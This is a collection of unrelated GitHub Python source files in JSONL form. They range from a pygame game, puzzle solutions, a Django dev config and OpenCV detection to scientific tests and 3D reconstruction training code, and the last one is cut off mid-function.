group=None):\n self.image = pygame.image.load(script_dir + where_image)\n self.rect = self.image.get_rect()\n width, height = self.rect.bottomright\n self.rect = pygame.Rect((x - width, y), (width, height))\n self.was_put = False\n self.type = 'item'\n super(Items, self).__init__(group)\n\n def draw(self, window):\n if not self.was_put:\n window.blit(self.image, self.rect.topright)\n\n def unique_properties(self, hero):\n if not self.was_put:\n self.was_put = True\n self.groups()[0].remove(self)\n\n def __bool__(self):\n return not self.was_put\n\n\nclass Cookies(Items):\n def __init__(self, x, y, mega_cook=False, group=None):\n '''Печенька. При подборе увеличивает кол-во печенек'''\n Items.__init__(self, x, y, where_image='images\\items_to_take\\Cook.png', group=group)\n self.mega_cook = mega_cook\n\n def unique_properties(self, hero):\n if not self.was_put:\n Items.unique_properties(self, hero)\n if not self.mega_cook:\n hero.change_cook_count()\n else:\n hero.change_cook_count(150)\n return True\n\n\nclass Hearts(Items):\n def __init__(self, x, y, group=None):\n '''Сердце. При подборе увеличивает кол-во хп'''\n Items.__init__(self, x, y, where_image='images\\items_to_take\\Heart.png', group=group)\n\n def unique_properties(self, hero):\n if not self.was_put:\n Items.unique_properties(self, hero)\n hero.change_hp(150)\n return True\n\n\nclass Watermelon(Items):\n def __init__(self, x, y, group=None):\n '''Иникальный предмет для 20-го уровня уровня.'''\n Items.__init__(self, x, y, where_image='images\\items_to_take\\watermelon.png', group=group)\n\n def unique_properties(self, hero):\n if not self.was_put:\n Items.unique_properties(self, hero)\n hero.change_hp(100)\n hero.change_xp(2000)\n hero.change_cook_count(2000)\n return True\n\n","repo_name":"mianivo/game_homa","sub_path":"item_to_take.py","file_name":"item_to_take.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25791065917","text":"with open('day02/input.txt', 'r') as file:\n data = file.readlines()\n \nboxes = [line.strip().split('x') for line in data]\nboxes_s = [sorted([int(x) for x in line]) for line in boxes]\n\n\nconv_1 = lambda x: 3 * x[0] * x[1] + 2 * (x[1] * x[2] + x[0] * x[2]) \npaper_1 = [conv_1(x) for x in boxes_s]\nprint(f'Part 1: {sum(paper_1)}')\n\nconv_2 = lambda x: x[0] * x[1] * x[2] + 2 * (x[0] + x[1])\npaper_2 = [conv_2(x) for x in boxes_s]\nprint(f'Part 2: {sum(paper_2)}')\n","repo_name":"SemicolonAndV/AoC2015","sub_path":"day02/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38055644609","text":"from config.settings.base import *\n\nSECRET_KEY = 'h%)=4k%r15h&1s39hqwd*b!uf=nnn2e3&%$dt3zi5hz5#h718-'\nDEBUG = True\nALLOWED_HOSTS = ['*']\n\n\n# Database\n# https://docs.djangoproject.com/en/2.2/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'NAME': os.environ['PSQL_NAME'],\n 'USER': os.environ['PSQL_USERNAME'],\n 'PASSWORD': os.environ['PSQL_PASSWORD'],\n 'HOST': 'localhost',\n 'PORT': '5432',\n }\n}\n\nMIDDLEWARE += [\n\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n]\n\nINSTALLED_APPS += [\n\n 'django_extensions',\n 'django.contrib.staticfiles',\n 'debug_toolbar',\n\n ]\n\n\nINTERNAL_IPS = [\n\n '127.0.0.1', 'localhost',\n]\n\n","repo_name":"RelationalSQLProject/RelationalSQLProject","sub_path":"config/settings/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19756814879","text":"\"\"\"\nhttps://www.pyimagesearch.com/2015/11/09/pedestrian-detection-opencv/\n\"\"\"\nimport numpy as np\nimport cv2 as cv\nfrom imutils.object_detection import non_max_suppression\n\nhog = cv.HOGDescriptor()\nhog.setSVMDetector(cv.HOGDescriptor_getDefaultPeopleDetector())\n\ncap = cv.VideoCapture('TownCentre_720p30.mkv')\nwhile True:\n ret, img = cap.read()\n img2 = img.copy()\n\n gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n # detect people in the image\n (rects, weights) = hog.detectMultiScale(gray, winStride=(4, 4), padding=(8, 8), scale=1.05)\n\n # draw the original bounding boxes\n for rect, weight in zip(rects, weights):\n x, y, w, h = rect\n cv.rectangle(img, (x, y), (x + w, y + h), (0, 0, 255), 2)\n cv.putText(img, str(weight), (x, y - 5), cv.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), lineType=cv.LINE_AA)\n\n # apply non-maxima suppression to the bounding boxes using a\n # fairly large overlap threshold to try to maintain overlapping\n # boxes that are still people\n rects = np.array([[x, y, x + w, y + h] for (x, y, w, h) in rects])\n pick = non_max_suppression(rects, probs=None, overlapThresh=0.65)\n\n # draw the final bounding boxes\n for (xA, yA, xB, yB) in pick:\n cv.rectangle(img2, (xA, yA), (xB, yB), (0, 255, 0), 2)\n\n # show the output images\n cv.imshow(\"Before NMS\", img)\n cv.imshow(\"After NMS\", img2)\n\n if cv.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv.destroyAllWindows()\n","repo_name":"stefandobrosavljevic/racunarski_vid","sub_path":"Lab3/ViolaJonesAndHOG/ViolaJonesAndHOG/HOGPedestrianDetection.py","file_name":"HOGPedestrianDetection.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18746421114","text":"\"\"\"test_stimulustools.py\nFunction definitions for testing the `pyret.stimulustools` module.\n(C) 2016 The Baccus Lab\n\"\"\"\n\nimport pytest\nimport numpy as np\n\nfrom pyret import stimulustools\n\ndef test_resampling_1d():\n \"\"\"Test up- and down-sampling a 1D stimulus.\"\"\"\n np.random.seed(0)\n stim_size = 1000\n resample_factor = 3\n dt = 0.1\n stim = np.random.randn(stim_size,)\n time = np.arange(stim_size) * dt\n stim_us, time_us = stimulustools.upsample(\n stim, resample_factor, time=time)\n stim_ds, time_ds = stimulustools.downsample(\n stim_us, resample_factor, time=time_us)\n\n assert np.all(stim == stim_us[::resample_factor]), 'Upsampling failed'\n assert np.all(stim == stim_ds), 'Downsampling failed'\n\n _, time_us = stimulustools.upsample(stim, resample_factor)\n assert time_us is None\n\ndef test_resampling_2d():\n \"\"\"Test up- and down-sampling a 2D stimulus.\"\"\"\n np.random.seed(0)\n stim_size = (1000, 5)\n resample_factor = 3\n dt = 0.1\n stim = np.random.randn(*stim_size)\n time = np.arange(stim_size[0]) * dt\n stim_us, time_us = stimulustools.upsample(\n stim, resample_factor, time=time)\n stim_ds, time_ds = stimulustools.downsample(\n stim_us, resample_factor, time=time_us)\n\n assert np.all(stim == stim_us[::resample_factor, ...]), 'Upsampling failed'\n assert np.all(stim == stim_ds), 'Downsampling failed'\n\ndef test_slicestim_raises():\n \"\"\"Verify slicestim() raises correct exceptions\"\"\"\n with pytest.raises(ValueError):\n stimulustools.slicestim(np.zeros(10,), 0)\n with pytest.raises(ValueError):\n stimulustools.slicestim(np.zeros(10,), 11)\n with pytest.raises(ValueError):\n stimulustools.slicestim(np.zeros(10,), 1.5)\n\n\ndef test_slicestim_shape():\n shape = (10, 3, 3)\n history = 2\n stim = np.zeros(shape)\n assert (stimulustools.slicestim(stim, history).shape ==\n (shape[0] - history + 1, history, shape[1], shape[2]))\n\ndef test_slicestim_1d():\n \"\"\"Test slicing a 1D stimulus into overlapping segments.\"\"\"\n np.random.seed(0)\n stim_size = 1000\n stim = np.random.randn(stim_size,)\n history = 10\n sliced_stim = stimulustools.slicestim(stim, history)\n\n for i in range(stim_size - history + 1):\n assert np.all(sliced_stim[i] == stim[i:i + history]), 'slicing failed'\n\ndef test_slicestim_acausal():\n \"\"\"Test slicing a stimulus into overlapping segments with\n samples before and after a hypothetical center.\n \"\"\"\n np.random.seed(0)\n stim_size = 1000\n stim = np.random.randn(stim_size,)\n nbefore, nafter = 7, 3\n sliced_stim = stimulustools.slicestim(stim, nbefore, nafter)\n\n for i in range(stim_size - nbefore - nafter + 1):\n assert np.all(sliced_stim[i] == stim[i:i + nbefore + nafter]), 'slicing failed'\n\n\ndef test_slicestim_3d():\n \"\"\"Test slicing a 3D stimulus into overlapping segments.\"\"\"\n np.random.seed(0)\n stim_size = (100, 5, 5)\n stim = np.random.randn(*stim_size)\n history = 10\n \n sliced_stim = stimulustools.slicestim(stim, history)\n assert sliced_stim.ndim == stim.ndim + 1\n assert sliced_stim.shape[0] == stim.shape[0] - history + 1\n\n for i in range(stim_size[0] - history + 1):\n assert np.all(sliced_stim[i] == stim[i:i + history, ...]), 'slicing failed'\n\ndef test_cov():\n \"\"\"Test recovering a stimulus covariance matrix.\"\"\"\n np.random.seed(0)\n stim = np.random.randn(10, 2)\n assert np.allclose(np.cov(stim.T), stimulustools.cov(stim, 1))\n","repo_name":"baccuslab/pyret","sub_path":"tests/test_stimulustools.py","file_name":"test_stimulustools.py","file_ext":"py","file_size_in_byte":3523,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"82"} +{"seq_id":"22993280309","text":"import os\nimport torch\nfrom src.common import (\n add_key, coord2index\n)\nfrom src.training import BaseTrainer\nimport numpy as np\n\ndef get_crop_bound(inputs, input_crop_size, query_crop_size):\n ''' Divide a scene into crops, get boundary for each crop\n\n Args:\n inputs (dict): input point cloud\n '''\n\n vol_bound = {}\n\n lb = inputs.min(axis=1).values[0].cpu().numpy() - 0.01\n ub = inputs.max(axis=1).values[0].cpu().numpy() + 0.01\n lb_query = np.mgrid[lb[0]:ub[0]:query_crop_size, \\\n lb[1]:ub[1]:query_crop_size, \\\n lb[2]:ub[2]:query_crop_size].reshape(3, -1).T\n ub_query = lb_query + query_crop_size\n center = (lb_query + ub_query) / 2\n lb_input = center - input_crop_size / 2\n ub_input = center + input_crop_size / 2\n # number of crops alongside x,y, z axis\n vol_bound['axis_n_crop'] = np.ceil((ub - lb) / query_crop_size).astype(int)\n # total number of crops\n num_crop = np.prod(vol_bound['axis_n_crop'])\n vol_bound['n_crop'] = num_crop\n vol_bound['input_vol'] = np.stack([lb_input, ub_input], axis=1)\n vol_bound['query_vol'] = np.stack([lb_query, ub_query], axis=1)\n\n return vol_bound\n\nclass Trainer(BaseTrainer):\n ''' Trainer object for fusion network.\n\n Args:\n model (nn.Module): Convolutional Occupancy Network model\n model_merge (nn.Module): fusion network\n optimizer (optimizer): pytorch optimizer object\n device (device): pytorch device\n input_type (str): input type\n vis_dir (str): visualization directory\n threshold (float): threshold value\n eval_sample (bool): whether to evaluate samples\n query_n (int): number of query points per voxel\n hdim (int): hidden dimension\n depth (int): U-Net depth (3 -> hdim 32 to 128)\n\n '''\n\n def __init__(self, model, model_merge, optimizer, device=None, input_type='pointcloud',\n vis_dir=None, threshold=0.5, eval_sample=False, query_n = 8192, unet_hdim = 32, unet_depth = 2):\n self.model = model\n self.model_merge = model_merge\n self.optimizer = optimizer\n self.device = device\n self.input_type = input_type\n self.vis_dir = vis_dir\n self.threshold = threshold\n self.eval_sample = eval_sample\n self.max_crop_with_change = None\n self.query_n = query_n\n self.hdim = unet_hdim\n self.factor = 2**unet_depth\n\n self.reso = None\n\n if vis_dir is not None and not os.path.exists(vis_dir):\n os.makedirs(vis_dir)\n\n def train_sequence_window(self, data, input_crop_size, query_crop_size, grid_reso, window = 8):\n ''' Performs a training step.\n\n Args:\n data (dict): data dictionary\n '''\n self.model.train()\n self.model_merge.train()\n self.optimizer.zero_grad()\n\n self.reso = grid_reso\n d = self.reso//self.factor\n\n device = self.device\n p_in = data.get('inputs').to(device)\n batch_size, T, D = p_in.size() # seq_length, T, 3\n query_sample_size = self.query_n\n\n # Get bounding box from sampled all scans in a batch\n sample_points = p_in[:, :, :]\n sample_points = sample_points.view(-1, 3).unsqueeze(0)\n\n # Shuffle p_in\n p_in =p_in[torch.randperm(p_in.size()[0])]\n\n vol_bound_all = get_crop_bound(sample_points, input_crop_size, query_crop_size)\n n_crop = vol_bound_all['n_crop']\n n_crop_axis = vol_bound_all['axis_n_crop']\n\n ## Initialize latent map (prediction)\n latent_map_pred = torch.zeros(n_crop_axis[0], n_crop_axis[1], n_crop_axis[2],\n self.hdim*self.factor, d, d, d).to(device)\n\n loss_all = 0\n crop_with_change_count = None\n\n counter = 0\n\n for n in range(batch_size):\n p_input_n = p_in[n].unsqueeze(0)\n\n # Get prediction\n latent_map_pred, unet, crop_with_change_count = self.update_latent_map_window(p_input_n, latent_map_pred,\n n_crop,\n vol_bound_all, crop_with_change_count)\n\n if (n+1)%window==0:\n # Get vol bounds of updated grids\n crop_with_change = list(map(bool, crop_with_change_count))\n vol_bound_valid = []\n\n for i in range(len(crop_with_change)):\n if crop_with_change[i]==True:\n # Get bound of the current crop\n vol_bound = {}\n vol_bound['input_vol'] = vol_bound_all['input_vol'][i]\n\n vol_bound_valid.append(vol_bound)\n\n # Merge\n latent_update_pred = self.merge_latent_codes(latent_map_pred, crop_with_change_count)\n\n # Get prediction logits\n logits_pred, query_points = self.get_logits_and_latent(latent_update_pred, unet, crop_with_change,\n query_sample_size)\n\n # Get ground truth\n points_accumulated = p_in[(n+1-window):(n + 1), :, :]\n points_accumulated = points_accumulated.view(-1, 3).unsqueeze(0)\n latent_update_gt, unet_gt = self.update_latent_map_gt(points_accumulated, vol_bound_valid)\n\n # Get ground truth logits\n crop_with_change = list(map(bool, crop_with_change_count))\n logits_gt, _ = self.get_logits_and_latent(latent_update_gt, unet_gt, crop_with_change,\n query_sample_size, query_points)\n\n # Calculate loss\n prediction = {}\n gt = {}\n prediction['logits'] = logits_pred\n gt['logits'] = logits_gt\n\n prediction['latent'] = latent_update_pred\n gt['latent'] = latent_update_gt\n\n loss = self.compute_sequential_loss(prediction, gt, latent_loss=True)\n loss_all += loss.item()\n counter += 1\n loss.backward()\n self.optimizer.step()\n\n # Re-initialize\n latent_map_pred = torch.zeros(n_crop_axis[0], n_crop_axis[1], n_crop_axis[2],\n self.hdim*self.factor, d, d, d).to(device)\n\n crop_with_change_count = None\n\n return loss_all / counter\n\n def update_latent_map_window(self, p_input, latent_map_pred, n_crop, vol_bound_all, crop_with_change_count=None):\n \"\"\"\n Sum latent codes and keep track of counts of updated grids\n \"\"\"\n\n if crop_with_change_count is None:\n crop_with_change_count = [0] * n_crop\n\n p_input_mask_list = []\n vol_bound_valid = []\n mask_valid = []\n\n H, W, D, c, h, w, d = latent_map_pred.size()\n latent_map_pred = latent_map_pred.view(-1, c, h, w, d)\n\n updated_crop = [False]*n_crop\n\n for i in range(n_crop):\n\n # Get bound of the current crop\n vol_bound = {}\n vol_bound['input_vol'] = vol_bound_all['input_vol'][i]\n\n # Obtain mask\n mask_x = (p_input[:, :, 0] >= vol_bound['input_vol'][0][0]) & \\\n (p_input[:, :, 0] < vol_bound['input_vol'][1][0])\n mask_y = (p_input[:, :, 1] >= vol_bound['input_vol'][0][1]) & \\\n (p_input[:, :, 1] < vol_bound['input_vol'][1][1])\n mask_z = (p_input[:, :, 2] >= vol_bound['input_vol'][0][2]) & \\\n (p_input[:, :, 2] < vol_bound['input_vol'][1][2])\n mask = mask_x & mask_y & mask_z\n\n p_input_mask = p_input[mask]\n\n # If first scan is empty in the crop, then continue\n if p_input_mask.shape[0] == 0: # no points in the current crop\n continue\n else:\n if self.max_crop_with_change is not None:\n crop_with_change = list(map(bool, crop_with_change_count))\n if sum(crop_with_change) == self.max_crop_with_change:\n break\n\n crop_with_change_count[i] += 1\n p_input_mask_list.append(p_input_mask)\n vol_bound_valid.append(vol_bound)\n mask_valid.append(mask)\n\n updated_crop[i] = True\n\n valid_crop_index = np.where(updated_crop)[0].tolist()\n n_crop_update = sum(updated_crop)\n\n fea = torch.zeros(n_crop_update, self.hdim, self.reso, self.reso, self.reso).to(self.device)\n\n _, unet = self.encode_crop_sequential(p_input_mask_list[0], self.device, vol_bound=vol_bound_valid[0])\n for i in range(n_crop_update):\n fea[i], _ = self.encode_crop_sequential(p_input_mask_list[i], self.device, vol_bound=vol_bound_valid[i])\n\n fea, latent_update = unet(fea)\n latent_map_pred[valid_crop_index] += latent_update\n\n latent_map_pred = latent_map_pred.view(H, W, D, c, h, w, d)\n\n return latent_map_pred, unet, crop_with_change_count\n\n def merge_latent_codes(self, latent_map_pred, crop_with_change_count):\n H, W, D, c, h, w, d = latent_map_pred.size()\n latent_map_pred = latent_map_pred.view(-1, c, h, w, d)\n\n crop_with_change = list(map(bool, crop_with_change_count))\n\n divisor = torch.FloatTensor(crop_with_change_count)[crop_with_change]\n divisor = divisor.unsqueeze(1).unsqueeze(2).unsqueeze(3).unsqueeze(4).to(self.device)\n\n latent_update = latent_map_pred[crop_with_change]\n latent_update = torch.div(latent_update, divisor)\n\n fea_dict = {}\n fea_dict['latent'] = latent_update\n latent_update = self.model_merge(fea_dict)\n\n return latent_update\n\n\n def update_latent_map_gt(self, p_input, vol_bound_valid):\n\n fea = torch.zeros(len(vol_bound_valid), self.hdim, self.reso, self.reso, self.reso).to(self.device)\n\n for i in range(len(vol_bound_valid)):\n mask_x = (p_input[:, :, 0] >= vol_bound_valid[i]['input_vol'][0][0]) & \\\n (p_input[:, :, 0] < vol_bound_valid[i]['input_vol'][1][0])\n mask_y = (p_input[:, :, 1] >= vol_bound_valid[i]['input_vol'][0][1]) & \\\n (p_input[:, :, 1] < vol_bound_valid[i]['input_vol'][1][1])\n mask_z = (p_input[:, :, 2] >= vol_bound_valid[i]['input_vol'][0][2]) & \\\n (p_input[:, :, 2] < vol_bound_valid[i]['input_vol'][1][2])\n mask = mask_x & mask_y & mask_z\n\n fea[i], unet = self.encode_crop_sequential(p_input[mask], self.device,\n vol_bound=vol_bound_valid[i])\n\n fea, latent_update = unet(fea)\n\n\n return latent_update, unet\n\n def get_logits_and_latent(self, latent_update, unet, crop_with_change, query_sample_size, query_points=None):\n\n # Initialize logits list\n num_valid_crops = sum(crop_with_change)\n\n # Generate query points if not initialized\n if query_points == None:\n sampled_points = torch.rand(num_valid_crops, query_sample_size, 3).to(self.device)\n pi_in = {'p': sampled_points}\n p_n = {}\n p_n['grid'] = sampled_points\n pi_in['p_n'] = p_n\n query_points = pi_in\n\n # Get latent codes of valid crops\n kwargs = {}\n fea = {}\n fea['unet3d'] = unet\n fea['latent'] = latent_update\n\n p_r= self.model.decode(query_points, fea, **kwargs)\n logits = p_r.logits\n\n return logits, query_points\n\n def encode_crop_sequential(self, inputs, device, fea = 'grid', vol_bound=None):\n ''' Encode a crop to feature volumes\n\n Args:\n inputs (dict): input point cloud\n device (device): pytorch device\n vol_bound (dict): volume boundary\n '''\n\n index = {}\n grid_reso = self.reso\n ind = coord2index(inputs.clone(), vol_bound['input_vol'], reso=grid_reso, plane=fea)\n index[fea] = ind.unsqueeze(0)\n input_cur = add_key(inputs.unsqueeze(0), index, 'points', 'index', device=device)\n\n fea, unet = self.model.encode_inputs(input_cur)\n\n return fea, unet\n\n def compute_sequential_loss(self, prediction, gt, latent_loss = False):\n\n loss_logits = torch.nn.L1Loss(reduction='mean')\n loss_i = 1 * loss_logits(prediction['logits'], gt['logits'])\n loss = loss_i\n\n if latent_loss == True:\n loss_latent = torch.nn.L1Loss(reduction='mean')\n loss_ii = 1 * loss_latent(prediction['latent'], gt['latent'])\n loss += loss_ii\n\n return loss\n\n","repo_name":"ethz-asl/neuralblox","sub_path":"src/neuralblox/training_fusion.py","file_name":"training_fusion.py","file_ext":"py","file_size_in_byte":12853,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"82"} +{"seq_id":"7492768451","text":"import click\nimport xlrd\nimport csv\nimport os\nfrom timeit import default_timer as timer\nfrom flask import Flask\nfrom models import Base\nfrom datastaging import import_data, import_hours, import_weather, import_collision, setup_facttable\nfrom neighbourhood import setup_neighbourhood\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.ext.declarative import declarative_base\nimport pandas as pd\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = os.environ['SQLALCHEMY_DATABASE_URI']\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\n\n@app.cli.command()\ndef initdb():\n try:\n Base.metadata.create_all(bind=db.engine)\n except:\n click.echo('Something went wrong')\n raise\n\n click.echo('db tables successfully made')\n\n\n@app.cli.command()\ndef dropdb():\n try:\n Base.metadata.drop_all(bind=db.engine)\n except:\n click.echo('Something went wrong')\n raise\n\n click.echo('db tables successfully dropped')\n\n\n@app.cli.command()\ndef setupneighbourhoodcsv():\n setup_neighbourhood()\n\n\n@app.cli.command()\ndef importdata():\n start = timer()\n print(\"Starting data import\")\n current_dir = os.getcwd()\n final_directory = os.path.join(current_dir, r'output')\n if not os.path.exists(final_directory):\n os.makedirs(final_directory)\n import_data(db)\n end = timer()\n print(f\"{end - start} seconds\")\n\n\n@app.cli.command()\ndef setupoutput():\n current_dir = os.getcwd()\n final_directory = os.path.join(current_dir, r'output')\n if not os.path.exists(final_directory):\n os.makedirs(final_directory)\n\n\n@app.cli.command()\ndef importhour():\n start = timer()\n print(\"Starting Hours import\")\n import_hours(db)\n end = timer()\n print(f\"{end - start} seconds\")\n\n\n@app.cli.command()\ndef importweather():\n start = timer()\n print(\"Starting weather import\")\n import_weather(db)\n end = timer()\n print(f\"{end - start} seconds\")\n\n\n@app.cli.command()\ndef importcollision():\n start = timer()\n print(\"Starting accident and location import\")\n import_collision(db)\n end = timer()\n print(f\"{end - start} seconds\")\n\n\n@app.cli.command()\ndef setupfacttable():\n start = timer()\n print(\"Starting fact table set up\")\n setup_facttable(db)\n end = timer()\n print(f\"{end - start} seconds\")\n","repo_name":"ArmandSyah/CSI4142-Project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9659897102","text":"def firstUniqChar(s):\n\tdchar = dict()\n\tfor c in s:\n\t\tif c in dchar:\n\t\t\tdchar[c] = dchar[c] + 1\n\t\telse:\n\t\t\tdchar[c] = 1\n\n\tfor i in range(len(s)):\n\t\tif dchar[s[i]] == 1:\n\t\t\treturn i\n\t\t\tbreak\n\t\n\treturn -1\n\nstr = 'helloh'\nprint(firstUniqChar(str))\n","repo_name":"happyryan/LeetCode-Python","sub_path":"初级-字符串/firstUniqChar3.py","file_name":"firstUniqChar3.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43793820799","text":"def solution(bridge_length, weight, truck_weights):\n answer = 0\n bridge=[0]*bridge_length\n i=0\n while True:\n if sum(bridge[:-1]) + truck_weights[i] <= weight:\n bridge=[truck_weights[i]]+bridge[0:-1]\n answer+=1\n i+=1\n if i==len(truck_weights):\n answer+=bridge_length\n break\n else:\n for j,truck in enumerate(bridge[::-1]):\n if truck!=0:\n j=int(j==0)+j\n bridge=[0]*(j)+bridge[0:-j]\n answer+=j\n break\n \n return answer\n","repo_name":"BeautterLife/Algorithms","sub_path":"프로그래머스/코딩테스트연습/스택,큐,힙/다리를지나는트럭.py","file_name":"다리를지나는트럭.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35134665160","text":"import snakemd\nfrom secrets import token_urlsafe\nimport subprocess\n\n#dodanie pustego pliku\n# nowy_dokument = snakemd.new_doc(\"pliki/nowy_plik\")\n# nowy_dokument.output_page()\n\n\nplik = f\"pliki/pliki_generowne/{token_urlsafe(8)}\"\n\nplik_dokument = snakemd.new_doc(plik)\n\ntekst = \"\"\"\nLitwo ojczyzno moja\ntu jesteś jak zdowie\nitd....\n\"\"\"\n\nplik_dokument.add_header(\"Siemaneczko\")\nplik_dokument.add_horizontal_rule()\nplik_dokument.add_paragraph(tekst)\nplik_dokument.add_code(\"from snakemd import *\", lang=\"python\")\nplik_dokument.output_page()\n\ncommand = [\"pandoc\", \"-o\", f\"{plik}.docx\", f\"{plik}.md\"]\nret_code = subprocess.run(command, capture_output=True)\nprint(ret_code)","repo_name":"Akozlowska87/test-repo_mp","sub_path":"first_catalog/17_pandas_generowaniepliku.py","file_name":"17_pandas_generowaniepliku.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5391286829","text":"\"\"\" Base class that handle almost all the initialization for the other ones. \"\"\"\nimport os\nimport os.path\nfrom pathlib import Path\nfrom rich.console import Console\nfrom prompt_toolkit import PromptSession\n\n\nclass Base:\n \"\"\"\n Base class that is used everywhere.\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\" Constructor method for the class to initialize all. \"\"\"\n self.console = Console(emoji=False)\n self.session = PromptSession()\n self.base_path = os.path.join(str(Path.home()), \".local\", \"share\",\n \"devopscenter\")\n os.makedirs(self.base_path, exist_ok=True)\n\n def log(self, *args, **kargs) -> None:\n \"\"\"Wrapper used to call the console.log.\n\n :param args\n :param kargs\n \"\"\"\n self.console.log(*args, **kargs)\n\n def print(self, *args, **kargs) -> None:\n \"\"\"Wrapper used to call the console.print.\n\n :param args\n :param kargs\n \"\"\"\n try:\n self.console.print(*args, **kargs)\n except Exception: # pylint: disable=W0703\n print(*args, **kargs)\n","repo_name":"marianojabdala/devopscenter","sub_path":"devopscenter/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25918735834","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch_scatter import scatter_mean, scatter_sum\n\nfrom data.pdb_utils import VOCAB\nfrom evaluation.rmsd import kabsch_torch\n\n\ndef sequential_and(*tensors):\n res = tensors[0]\n for mat in tensors[1:]:\n res = torch.logical_and(res, mat)\n return res\n\n\ndef sequential_or(*tensors):\n res = tensors[0]\n for mat in tensors[1:]:\n res = torch.logical_or(res, mat)\n return res\n\n\ndef graph_to_batch(tensor, batch_id, padding_value=0, mask_is_pad=True):\n '''\n :param tensor: [N, D1, D2, ...]\n :param batch_id: [N]\n :param mask_is_pad: 1 in the mask indicates padding if set to True\n '''\n lengths = scatter_sum(torch.ones_like(batch_id), batch_id) # [bs]\n bs, max_n = lengths.shape[0], torch.max(lengths)\n batch = torch.ones((bs, max_n, *tensor.shape[1:]), dtype=tensor.dtype, device=tensor.device) * padding_value\n # generate pad mask: 1 for pad and 0 for data\n pad_mask = torch.zeros((bs, max_n + 1), dtype=torch.long, device=tensor.device)\n pad_mask[(torch.arange(bs, device=tensor.device), lengths)] = 1\n pad_mask = (torch.cumsum(pad_mask, dim=-1)[:, :-1]).bool()\n data_mask = torch.logical_not(pad_mask)\n # fill data\n batch[data_mask] = tensor\n mask = pad_mask if mask_is_pad else data_mask\n return batch, mask\n\n\ndef _knn_edges(X, AP, src_dst, atom_pos_pad_idx, k_neighbors, batch_info, given_dist=None):\n '''\n :param X: [N, n_channel, 3], coordinates\n :param AP: [N, n_channel], atom position with pad type need to be ignored\n :param src_dst: [Ef, 2], full possible edges represented in (src, dst)\n :param given_dist: [Ef], given distance of edges\n '''\n offsets, batch_id, max_n, gni2lni = batch_info\n\n BIGINT = 1e10 # assign a large distance to invalid edges\n N = X.shape[0]\n if given_dist is None:\n dist = X[src_dst] # [Ef, 2, n_channel, 3]\n dist = dist[:, 0].unsqueeze(2) - dist[:, 1].unsqueeze(1) # [Ef, n_channel, n_channel, 3]\n dist = torch.norm(dist, dim=-1) # [Ef, n_channel, n_channel]\n pos_pad = AP[src_dst] == atom_pos_pad_idx # [Ef, 2, n_channel]\n pos_pad = torch.logical_or(pos_pad[:, 0].unsqueeze(2), pos_pad[:, 1].unsqueeze(1)) # [Ef, n_channel, n_channel]\n dist = dist + pos_pad * BIGINT # [Ef, n_channel, n_channel]\n del pos_pad # release memory\n dist = torch.min(dist.reshape(dist.shape[0], -1), dim=1)[0] # [Ef]\n else:\n dist = given_dist\n src_dst = src_dst.transpose(0, 1) # [2, Ef]\n\n dist_mat = torch.ones(N, max_n, device=dist.device, dtype=dist.dtype) * BIGINT # [N, max_n]\n dist_mat[(src_dst[0], gni2lni[src_dst[1]])] = dist\n del dist\n dist_neighbors, dst = torch.topk(dist_mat, k_neighbors, dim=-1, largest=False) # [N, topk]\n\n src = torch.arange(0, N, device=dst.device).unsqueeze(-1).repeat(1, k_neighbors)\n src, dst = src.flatten(), dst.flatten()\n dist_neighbors = dist_neighbors.flatten()\n is_valid = dist_neighbors < BIGINT\n src = src.masked_select(is_valid)\n dst = dst.masked_select(is_valid)\n\n dst = dst + offsets[batch_id[src]] # mapping from local to global node index\n\n edges = torch.stack([src, dst]) # message passed from dst to src\n return edges # [2, E]\n\n\nclass EdgeConstructor:\n def __init__(self, boa_idx, boh_idx, bol_idx, atom_pos_pad_idx, ag_seg_id) -> None:\n self.boa_idx, self.boh_idx, self.bol_idx = boa_idx, boh_idx, bol_idx\n self.atom_pos_pad_idx = atom_pos_pad_idx\n self.ag_seg_id = ag_seg_id\n\n # buffer\n self._reset_buffer()\n\n def _reset_buffer(self):\n self.row = None\n self.col = None\n self.row_global = None\n self.col_global = None\n self.row_seg = None\n self.col_seg = None\n self.offsets = None\n self.max_n = None\n self.gni2lni = None\n self.not_global_edges = None\n\n def get_batch_edges(self, batch_id):\n # construct tensors to map between global / local node index\n lengths = 